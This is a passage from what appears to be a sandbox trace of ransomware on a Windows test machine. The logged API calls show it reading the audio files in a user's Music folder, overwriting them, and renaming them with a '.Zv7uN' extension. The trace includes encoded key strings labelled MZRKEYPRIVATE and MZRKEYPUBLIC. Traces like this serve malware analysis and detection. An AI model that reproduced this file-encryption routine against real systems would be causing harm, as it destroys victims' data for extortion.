lpNumberOfBytesRead=0x18f3d4*=0x132dd, lpOverlapped=0x0) returned 1 [0086.702] CloseHandle (hObject=0x11c) returned 1 [0086.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\RVJVF_UB10M.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\rvjvf_ub10m.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.707] WriteFile (in: hFile=0x11c, lpBuffer=0x1f2ce00*, nNumberOfBytesToWrite=0x132dd, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f2ce00*, lpNumberOfBytesWritten=0x18f3e0*=0x132dd, lpOverlapped=0x0) returned 1 [0086.711] CloseHandle (hObject=0x11c) returned 1 [0086.713] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\RVJVF_UB10M.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\rvjvf_ub10m.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\RVJVF_UB10M.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\rvjvf_ub10m.mp3.zv7un")) returned 1 [0086.714] GetCurrentThreadId () returned 0xa30 [0086.714] GetCurrentThreadId () returned 0xa30 [0086.714] GetCurrentThreadId () returned 0xa30 [0086.715] GetCurrentThreadId () returned 0xa30 [0086.715] GetCurrentThreadId () returned 0xa30 [0086.715] GetCurrentThreadId () returned 0xa30 [0086.715] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c20340, ftCreationTime.dwHighDateTime=0x1d5e4a0, ftLastAccessTime.dwLowDateTime=0x8f58c260, ftLastAccessTime.dwHighDateTime=0x1d5e097, ftLastWriteTime.dwLowDateTime=0x8f58c260, ftLastWriteTime.dwHighDateTime=0x1d5e097, nFileSizeHigh=0x0, nFileSizeLow=0xacdf, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ubuEcUUpKFtZ1N.mp3", cAlternateFileName="UBUECU~1.MP3")) returned 1 [0086.715] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.715] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ubuEcUUpKFtZ1N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\ubuecuupkftz1n.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c20340, ftCreationTime.dwHighDateTime=0x1d5e4a0, ftLastAccessTime.dwLowDateTime=0x8f58c260, ftLastAccessTime.dwHighDateTime=0x1d5e097, ftLastWriteTime.dwLowDateTime=0x8f58c260, ftLastWriteTime.dwHighDateTime=0x1d5e097, nFileSizeHigh=0x0, nFileSizeLow=0xacdf)) returned 1 [0086.715] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ubuEcUUpKFtZ1N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\ubuecuupkftz1n.mp3")) returned 0x20 [0086.715] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ubuEcUUpKFtZ1N.mp3", dwFileAttributes=0x80) returned 1 [0086.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0086.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1efff6c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0086.719] GetCurrentThreadId () returned 0xa30 [0086.719] GetCurrentThreadId () returned 0xa30 [0086.719] GetCurrentThreadId () returned 0xa30 [0086.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0086.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0086.720] GetCurrentThreadId () returned 0xa30 [0086.720] GetCurrentThreadId () returned 0xa30 [0086.720] GetCurrentThreadId () returned 0xa30 [0086.720] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ubuEcUUpKFtZ1N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\ubuecuupkftz1n.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.720] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0086.720] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.720] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xacdf [0086.720] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0086.720] ReadFile (in: hFile=0x11c, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0xacdf, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f3d4*=0xacdf, lpOverlapped=0x0) returned 1 [0086.723] CloseHandle (hObject=0x11c) returned 1 [0086.724] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ubuEcUUpKFtZ1N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\ubuecuupkftz1n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0086.728] WriteFile (in: hFile=0x11c, lpBuffer=0x1f24e00*, nNumberOfBytesToWrite=0xacdf, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f24e00*, lpNumberOfBytesWritten=0x18f3e0*=0xacdf, lpOverlapped=0x0) returned 1 [0086.731] CloseHandle (hObject=0x11c) returned 1 [0086.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ubuEcUUpKFtZ1N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\ubuecuupkftz1n.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ubuEcUUpKFtZ1N.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\ubuecuupkftz1n.mp3.zv7un")) returned 1 [0086.734] GetCurrentThreadId () returned 0xa30 [0086.734] GetCurrentThreadId () returned 0xa30 [0086.734] GetCurrentThreadId () returned 0xa30 [0086.734] GetCurrentThreadId () returned 0xa30 [0086.734] GetCurrentThreadId () returned 0xa30 [0086.734] GetCurrentThreadId () returned 0xa30 [0086.734] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3739eae0, ftCreationTime.dwHighDateTime=0x1d5e48a, ftLastAccessTime.dwLowDateTime=0x35e11fd0, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x35e11fd0, ftLastWriteTime.dwHighDateTime=0x1d5dcc2, nFileSizeHigh=0x0, nFileSizeLow=0x2014, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZpCcyuBa0.wav", cAlternateFileName="ZPCCYU~1.WAV")) returned 1 [0086.734] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0086.734] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0086.734] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ZpCcyuBa0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\tz0vn5ktrkt\\zyj26chu tegbhsw1uj\\zpccyuba0.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3739eae0, ftCreationTime.dwHighDateTime=0x1d5e48a, ftLastAccessTime.dwLowDateTime=0x35e11fd0, ftLastAccessTime.dwHighDateTime=0x1d5dcc2, ftLastWriteTime.dwLowDateTime=0x35e11fd0, ftLastWriteTime.dwHighDateTime=0x1d5dcc2, nFileSizeHigh=0x0, nFileSizeLow=0x2014)) returned 1 [0086.734] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\tz0VN5KTRkT\\Zyj26cHu tegBHSw1Uj\\ZpCcyuBa0.wav" (normalized: "c:\\users\\5p5nrgjn0js 